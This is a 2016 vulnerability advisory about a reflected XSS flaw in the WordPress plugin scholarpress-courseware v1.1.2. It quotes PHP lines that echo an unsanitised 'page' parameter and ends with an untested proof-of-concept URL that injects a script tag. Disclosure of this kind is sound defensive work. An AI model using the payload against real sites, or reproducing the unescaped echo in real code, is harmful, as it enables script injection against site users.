Advisory #: 623
Title: Reflected XSS in wordpress plugin scholarpress-courseware v1.1.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/scholarpress-courseware
Downloads: 9909
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: scholarpress-courseware
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./scholarpress-courseware/spcourseware-bibliography.php: 439: <td><a href="admin.php?page=<?php echo $_GET['page']; ?>&amp;action=edit_biblio&amp;entryID=<?php echo $biblio->entryID;?>" class="edit"><?php echo __('Edit'); ?></a></td> 440: <td><a href="admin.php?page=<?php echo $_GET['page']; ?>&amp;action=delete_biblio&amp;entryID=<?php echo $biblio->entryID;?>" class="delete" onclick="return confirm('Are you sure you want to delete this entry?')"><?php echo __('Delete'); ?></a></td> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./scholarpress-courseware/spcourseware-bibliography.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/scholarpress-courseware/spcourseware-bibliography.php?page="><script>alert(1);</script><"